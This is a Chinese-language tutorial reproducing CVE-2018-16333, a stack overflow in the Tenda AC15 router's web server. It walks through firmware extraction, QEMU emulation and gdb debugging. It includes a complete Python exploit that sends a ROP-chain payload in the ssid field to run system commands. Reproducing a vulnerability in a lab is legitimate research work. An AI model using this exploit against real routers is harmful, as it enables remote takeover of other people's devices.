Tenda AC15 路由器栈溢出漏洞复现(CVE-2018-16333) 固件解压以及分析 漏洞的原因是web服务在处理post请求时,对ssid参数直接复制到栈上的一个局部变量中导致栈溢出。
固件版本:US_AC15V1.0BR_V15.03.05.19_multi_TD01
固件和poc下载地址:
pwn/IOT/Tenda_CVE-2018-16333 at master · Snowleopard-bin/pwn
使用binwalk解压固件
1 binwalk -Me US_AC15V1 .0BR_V15.03 .05 .19_multi_TD01.bin
在squashfs-root中可以查看文件系统,bin目录下使用下面指令查看系统架构,可以看到为32为的arm小端序,且开了nx防护,其他全关
程序获取ssid参数后,没有经过检查就直接使用strcpy函数复制到栈变量中。
其中:第一次的strcpy如果要溢出到返回地址,会覆盖第二次的strcpy的参数dest。
为了将src指针覆盖为有效地址,并且不影响第一次的strcpy,选择在libc中选择一个可读地址覆盖src指针。
利用过程:
1、溢出后跳到第一个gadget1,控制r3寄存器为system函数地址,第一个pc控制为gadget2。2、跳转到gadget2后,控制r0为要执行的命令即可。3、执行system(cmd)
。
固件模拟 因为httpd程序在启动的时候有一个对network的check所以直接使用FirmAE进行模拟是行不通的,这里选择直接进行系统级模拟(便于调试以及分析)
根据启动httpd时候的报错的字符串定位到程序,发现这里对network有一个check所以需要使用keypatch将返回值patch为1
后面报错同理,将httpd程序替换为自己patch好后的
发现获取的ip地址不对,这里程序是通过br0网卡获得地址
qemu启动脚本:
1 2 3 4 5 6 7 8 9 10 #! /bin/bash sudo tunctl -t tap0 sudo brctl addif br0 tap0 sudo ifconfig tap0 up sudo ifconfig tap0 192.168.182.100/24 qemu-system-arm -M vexpress-a9 \ -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress \ -drive if =sd,file=debian_wheezy_armhf_standard.qcow2 \ -append "root=/dev/mmcblk0p2" \ -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
登录进去之后:
1 2 3 4 5 6 7 8 9 10 11 12 qemu : ifconfig eth0 192.168 .182 .111 /24 up 主机: scp -r ./squashfs-root root@192.168 .182 .111 :/rootqemu : mount -t proc /proc ./squashfs-root/proc mount -o bind /dev ./squashfs-root/dev chroot ./squashfs-root/ sh brctl addbr br0 #添加br0虚拟网卡 ifconfig br0 192.168 .182 .111 /24 up echo 0 > /proc/ sys/kernel/randomize_va_space #关闭地址随机化 ./bin/httpd
这里之后服务就已经启动了,但是通过浏览器访问对应页面会发现有报错,执行下面指令之后就可以正常访问了
1 cp -rf ./webroot_ro/* ./webroot/
调试 这里先贴一下exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import requestsfrom pwn import * cmd=b"echo success_pwn_it" ''' qemu-user ''' ''' qemu-system ''' libc_base = 0x76dab000 dosystemcmd = 0x76f930f0 system = libc_base + 0x5A270 readable_addr = libc_base + 0x64144 mov_r0_ret_r3 = libc_base + 0x40cb8 pop_r3 = libc_base + 0x18298 payload = b'a' *(0x60 ) + p32(readable_addr) + b'b' *(0x20 -8 ) payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd url = "http://192.168.182.111/goform/fast_setting_wifi_set" cookie = {"Cookie" :"password=12345" } data = {"ssid" : payload} response = requests.post(url, cookies=cookie, data=data) response = requests.post(url, cookies=cookie, data=data)print (response.text)
调试首先得将gdbserver传进虚拟机,各个架构的gdbserver下载地址:
H4lo/HatLab Tools Library
可以将gdbserver放进bin目录下这样就可以直接用了
使用下面指令查看httpd的进程号
1 2 3 / 2414 0 0 :26 ./bin /httpd 2820 0 0 :00 grep httpd
然后使用gdbserver对进程进行调试
1 2 3 4 5 6 7 8 9 10 qemu: / Attached; pid = 2414 Listening on port 12345 物理机: gdb-multiarch httpdset architecture armset endian little target remote 192.168 .182 .111 :12345 b *0x0006707C
接着发送exp,在gdb按c进行运行
这里可以进行计算溢出的长度,0x7ebda8f4-0x7ebda878=7c,但是不要忘了在后面还需要接一个可写的地址,运行到第二个strcpy就可以发现,src在栈上距离栈底长度为28处。即0x1c。构造exp时需要在0x7c-0x1C=0x60后加入一个可读字段的地址。
![Untitled](CVE-2018-16333复现 9ed9b5eeeffa4ca3a0bd7a66e8dd5fcc/Untitled 10.png)
所以构造exp:
payload = b’a’(0x60) + p32(readable_addr) + b’b’(0x20-8)
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
在返回地址处打断点 b *0x00067758,可以看到栈上返回地址已经被劫持成我们构造的ROP链。
运行成功截图: